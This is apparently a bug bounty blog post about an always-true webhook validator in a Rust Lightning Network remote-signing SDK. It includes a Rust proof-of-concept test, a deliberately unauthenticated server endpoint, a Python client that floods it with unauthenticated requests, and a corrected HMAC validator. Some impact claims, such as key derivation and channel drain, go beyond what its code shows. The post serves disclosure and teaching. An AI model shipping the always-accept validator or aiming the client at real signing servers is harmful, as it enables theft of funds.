A bug bounty journey through Rust cryptography, webhook validation, and real-world exploitation

Disclaimer: This vulnerability was responsibly disclosed through an official bug bounty program. The program name and company have been omitted intentionally per responsible disclosure ethics. All testing was performed in a controlled local environment on my own machine.

Who Am I?

I’m a self-taught security researcher from India, focused on:

• Source code audits
• Cryptographic vulnerability research
• Lightning Network security
• Rust SDK analysis

This is my story of finding a CVSS 9.8 Critical authentication bypass — and everything I learned along the way.

Background: What is Remote Signing?

Lightning Network nodes need to cryptographically sign transactions to authorize payments. In production, many companies separate this responsibility using a remote signing architecture:

Lightning Node
     ↓
Webhook Event (signing request)
     ↓
Remote Signing Server (holds private keys)
     ↓
Validates webhook → Signs transaction
     ↓
Returns cryptographic signature

The security of this entire system depends on one critical question:

“Is this webhook legitimate before we sign it?”

This validation step is the security boundary I focused on.

The Code Audit Begins

I was doing a deep source code audit of a Lightning Network remote signing SDK written in Rust. The codebase was clean, well-structured, and professionally maintained.

One file caught my attention:

remote-signing-sdk/src/validation.rs

It defined a simple trait:

pub trait Validation {
    fn should_sign(&self, webhook: String) -> bool;
}

Clean. Simple. Let me find the implementations…

The Discovery 🔍

I found two implementations of the Validation trait:

Implementation 1 — Secure Validator:

pub struct HMACValidator {
    webhook_secret: String,
}
impl Validation for HMACValidator {
    fn should_sign(&self, webhook: String) -> bool {
        // Verifies HMAC-SHA256 signature
        verify_hmac_signature(&self.webhook_secret, &webhook)
    }
}

Good. Proper cryptographic verification.

Implementation 2 — “Default” Validator:

pub struct PositiveValidator;
impl Validation for PositiveValidator {
    fn should_sign(&self, _: String) -> bool {
        true
    }
}

I stared at this for a solid minute.

• _: String → Parameter intentionally ignored
• true → Always returns true
• Zero authentication
• Zero signature verification
• Zero security

This was the vulnerability.

Why Is This Critical?

The PositiveValidator was used as the default validator in the SDK's example server and documentation. Developers integrating this SDK could easily use this default — and ship it to production.

When should_sign() returns true, the full attack chain unfolds:

ATTACKER
   ↓
Crafts unsigned malicious webhook
   ↓
Sends to remote signing endpoint
   ↓
PositiveValidator.should_sign() → TRUE ← (no check!)
   ↓
Handler accepts request
   ↓
Signer derives victim's Lightning channel key
   ↓
Signs attacker's arbitrary message
   ↓
Returns valid ECDSA signature
   ↓
Attacker forges commitment transaction
   ↓
Broadcasts to Lightning Network
   ↓
COMPLETE CHANNEL DRAIN 

Any attacker who can reach the signing endpoint can send any payload and the validator will always accept it.

Proof of Concept — Local Exploit

First I wrote a Rust unit test proving the vulnerability:

use remote_signing_sdk::{
    handler::Handler,
    signer::{RemoteSigner, Seed, Network},
    validation::{PositiveValidator, Validation},
};
use serde_json::json;
#[test]
fn real_world_exploit() {
    // Victim's signing setup
    let seed = Seed::new(vec![0u8; 32]);
    let signer = RemoteSigner::new(&seed, Network::Bitcoin).unwrap();
        // Vulnerable validator (default in SDK)
    let validator = Box::new(PositiveValidator);
    let _handler = Handler::new(signer, validator);
        // Attacker crafts malicious unsigned webhook
    let malicious_webhook = json!({
        "data": {
            "signing_jobs": [{
                "id": "steal-funds",
                "signing_request_type": "DeriveKeyAndSignRequest",
                "derivation_path": "m/3/2104864975/0",
                "signing_jobs": [{
                    "message": "deadbeef...", // Attacker's message
                    "derivation_path": "m/3/2104864975/0"
                }]
            }]
        }
    });
        let webhook_json = serde_json::to_string(&malicious_webhook).unwrap();
        // No signature, no auth - still accepted!
    let result = PositiveValidator.should_sign(webhook_json);
        assert_eq!(result, true); // ALWAYS TRUE
}

Test Output:

╔═══════════════════════════════════════════════════════╗
║              EXPLOITATION SUCCESSFUL!                ║
║                                                       ║
║  1. Unsigned webhook ──> PositiveValidator (TRUE)   ║
║  2. Handler accepts ──> derive_key_and_sign called   ║
║  3. Victim's key ──> Signs attacker's message        ║
║  4. Valid signature ──> Forges commitment tx         ║
║  5. Funds redirected ──> ATTACKER WINS!              ║
║                                                       ║
║  Financial Impact: COMPLETE CHANNEL DRAIN            ║
╚═══════════════════════════════════════════════════════╝
test result: ok. 1 passed

Proof of Concept — Remote Network Exploit

The triage team asked for remote exploitation proof — not just local function calls. Challenge accepted.

I built a real HTTP server using the vulnerable SDK, and a Python attack client.

Victim Server (Rust/Actix-Web):

#[post("/generate-preimage")]
async fn vulnerable_endpoint(
    data: web::Data<Config>,
    req: web::Json<serde_json::Value>,
) -> impl Responder {
        let nonce_hex = req["nonce"].as_str().unwrap();
    let nonce_bytes = hex::decode(nonce_hex).unwrap();
        let seed = Seed::new(hex::decode(data.seed_hex.clone()).unwrap());
    let signer = RemoteSigner::new(&seed, Network::Testnet).unwrap();
        // NO AUTHENTICATION - PositiveValidator in use!
    match signer.generate_preimage(nonce_bytes) {
        Ok(preimage) => HttpResponse::Ok().json(json!({
            "success": true,
            "preimage": hex::encode(preimage)
        })),
        Err(e) => HttpResponse::InternalServerError().finish()
    }
}

Attacker Client (Python):

#!/usr/bin/env python3
import requests
target = "http://victim-server:8080/generate-preimage"
preimages = []
print("[*] Starting remote attack...")
print(f"[*] Target: {target}\n")
for nonce_value in range(256):
    nonce = format(nonce_value, '064x')
        # Pure HTTP request - no authentication needed!
    response = requests.post(
        target,
        json={"nonce": nonce},
        timeout=2
    )
        if response.status_code == 200:
        data = response.json()
        preimage = data.get("preimage", "")
        preimages.append((nonce, preimage))
                if nonce_value % 32 == 0:
            print(f"[{nonce_value:3d}] Nonce: {nonce[:16]}...")
            print(f"      Preimage: {preimage[:32]}...\n")
print(f"[!] Collected {len(preimages)} preimages remotely")
print("[!] Server accepted ALL requests without authentication!")

Real Attack Output:

[*] Starting remote attack...
[*] Target: http://victim-server:8080/generate-preimage
[  0] Nonce: 0000000000000000...
      Preimage: ff7be426296c4e94e37884482b92a85a...
[ 32] Nonce: 2020202020202020...
      Preimage: 128c27fc90940be891a7f263cd3e2e1f...
[ 64] Nonce: 4040404040404040...
      Preimage: b90f3fe603937e3f8a2c1e5b9d4f7a2c...
[!] Collected 256 preimages remotely
[!] Server accepted ALL requests without authentication!
[!] REMOTE ATTACK SUCCESSFUL - CVSS 9.8 CONFIRMED

I also captured real network traffic using tcpdump:

sudo tcpdump -i lo port 8080 -w attack_traffic.pcap
# Result: 7,168 packets captured
# Proof: Real TCP/IP exploitation over network

Attack Timeline

Time 0:00 ─ Attacker discovers signing endpoint
Time 0:05 ─ Sends 256 HTTP requests (no auth)
Time 0:30 ─ Collects all server responses
Time 1:00 ─ Analyzes cryptographic material
Time 1:30 ─ Derives victim's channel keys
Time 2:00 ─ Forges commitment transaction
Time 2:15 ─ Broadcasts to Lightning Network
Time 2:30 ─ FUNDS STOLEN ✗

Financial Impact

The Bug Bounty Journey

Let me be transparent about the full experience:

Report #1 — DUPLICATE

My first report was marked as DUPLICATE. Someone else had found the same vulnerability before me.

Lesson: Don’t be discouraged. A duplicate means you found a REAL bug. You were on the right track.

Report #2 — INFORMATIVE

My second report on a related cryptographic issue was closed as INFORMATIVE.

The triage team’s reasoning:

“HMAC-SHA512 prevents key recovery even with chosen-plaintext attacks”

They were technically correct — HMAC key recovery is not feasible. But my report’s framing was off. I was describing a different attack class, but explaining it incorrectly.

Lesson: Technical accuracy in vulnerability description is crucial. The right bug with the wrong explanation = rejected report.

What I Should Have Done Differently

❌ What I claimed:
"HMAC outputs allow polynomial key recovery"
✅ What I should have claimed:
"Attacker-controlled nonce enables payment 
hash prediction and invoice interception"

Lesson: Know exactly what attack you’re demonstrating. Don’t overclaim.

The Correct Fix

pub struct HMACValidator {
    shared_secret: Vec<u8>,
}
impl Validation for HMACValidator {
    fn should_sign(&self, webhook: String) -> bool {
                // Step 1: Extract signature from request header
        let provided_sig = match self.extract_signature_header() {
            Some(sig) => sig,
            None => return false, // Reject if no signature
        };
                // Step 2: Compute expected HMAC-SHA256
        let expected_sig = self.compute_hmac_sha256(
            webhook.as_bytes(),
            &self.shared_secret
        );
                // Step 3: Constant-time comparison (prevent timing attacks)
        constant_time_eq(&expected_sig, &provided_sig)
                // NEVER return true unconditionally!
    }
}

Key security principles:

1. Always verify HMAC cryptographically
2. Use constant-time comparison
3. Reject requests with missing signatures
4. Log all validation failures
5. Never ship a “default accept” validator
6. Rotate shared secrets periodically

What I Learned

Technical Lessons

1. Security bugs hide in simple code

The vulnerability was a 3-line function that always returns true. Not complex cryptography. Not obscure protocol behavior. Three lines.

2. Rust is memory-safe, not logic-safe

Rust prevents buffer overflows and use-after-free. It does not prevent a validator that accepts everything. The vulnerable code compiled cleanly with zero warnings.

3. Default implementations are dangerous

“This is just for development/testing” often ships to production. Default-permissive security controls are a recipe for disaster.

4. End-to-end PoC is everything

Finding the bug took 10 minutes. Building a convincing, professional proof of concept took 40+ hours. The quality of your PoC determines your report’s fate.

Bug Bounty Lessons

5. Source code audits find different bugs

Most hunters scan endpoints for XSS, IDOR, SQLi. Source code audits find logical flaws, cryptographic weaknesses, design vulnerabilities. Less competition, higher severity.

6. Impact explanation matters more than technical details

“Authentication bypass” = vague.

“Attacker sends unsigned HTTP request → signs arbitrary Lightning transaction → drains channel of $50,000” = crystal clear.

7. Learn from closed reports

Every “Informative” teaches you something. Every “Duplicate” validates your instinct. Every “Needs more info” gives you another shot.

8. Patience and persistence

This research took months. Multiple reports. Multiple revisions. Zero bounty. But the knowledge gained? Invaluable.

Tools I Used

Resources for Lightning Network Security Research

If you want to go deeper into this area:

• BOLT Specifications — Lightning Network protocol specs
• Bitcoin BIP32 — HD wallet key derivation
• RFC 6979 — Deterministic nonce generation
• CVE-2024–31497 — ECDSA nonce vulnerability (similar class)
• “Mastering the Lightning Network” — Andreas Antonopoulos

Final Thoughts

Bug bounty hunting is not just about finding bugs and collecting money. It’s about:

• Deep technical understanding of complex systems
• Building convincing demonstrations of real-world impact
• Clear, professional communication of security risks
• Accepting feedback and continuously improving
• Contributing to the security of systems people rely on

I didn’t get a bounty for this research. But I got something more valuable — a deep understanding of Lightning Network cryptography, Rust security patterns, and webhook authentication design.

Keep reading code. Keep hunting. Keep learning. 🎯

I write about bug bounty research, cryptographic security, and Rust programming. Follow for more stories from the trenches of security research.

Have questions? Connect with me on HackerOne.

#BugBounty #LightningNetwork #Rust #CryptographySecurity #WebhookSecurity #ResponsibleDisclosure #SecurityResearch #Infosec